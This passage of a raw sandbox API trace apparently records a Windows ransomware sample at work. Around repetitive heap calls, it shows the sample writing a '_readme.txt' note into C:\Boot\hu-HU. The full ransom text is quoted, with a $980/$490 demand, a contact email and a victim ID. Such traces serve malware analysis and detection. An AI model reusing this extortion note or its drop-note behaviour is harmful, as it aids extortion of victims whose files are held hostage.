(HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.243] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.243] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.243] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.243] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.243] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.243] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.243] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.243] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.243] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.243] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.243] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.243] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.243] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.243] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.243] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.243] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.243] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.243] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.243] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.243] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.243] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.243] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.243] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.243] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.243] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.243] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.243] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.243] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.243] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.243] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.243] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.243] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.243] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.243] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.243] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.243] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.243] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.243] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.243] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.243] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.243] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.243] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.243] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.243] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.244] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.244] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.244] PathFindFileNameW (pszPath="C:\\Boot\\hu-HU\\") returned="hu-HU\\" [0124.244] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.244] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.244] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.244] PathFindFileNameW (pszPath="") returned="" [0124.244] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.244] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.244] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.244] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.244] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.244] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.244] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.244] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0124.244] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.244] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.244] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 0 [0124.244] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7d00) returned 0x3ae3bf0 [0124.245] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.245] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.245] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad9168 [0124.245] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\_readme.txt" (normalized: "c:\\boot\\hu-hu\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.245] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad9168 | out: hHeap=0x810000) returned 1 [0124.245] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3bf0 | out: hHeap=0x810000) returned 1 [0124.245] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.245] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.245] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.245] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.245] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.245] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.245] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.245] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.245] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.245] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450228 | out: hHeap=0x810000) returned 1 [0124.245] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450228 [0124.245] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.245] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.245] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.245] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.245] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.245] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.246] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.246] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.246] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.246] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.246] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.246] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.246] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.246] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.246] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.246] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.246] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.246] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.246] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.246] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.246] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.246] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.246] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.246] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.246] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.246] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.246] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.246] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.246] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.246] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.246] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.246] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.246] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.246] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.246] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.246] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.246] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.246] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.246] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.246] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.246] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.246] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.246] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.246] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.246] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.246] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.246] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.246] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.246] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.246] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.247] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.247] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.247] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.247] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.247] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.247] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.247] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.247] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.247] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.247] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.247] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.247] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.247] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.247] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.247] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.247] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.247] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.247] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.247] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.247] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.247] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.247] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.247] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.248] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.248] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.248] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.248] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.248] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.248] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.248] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, 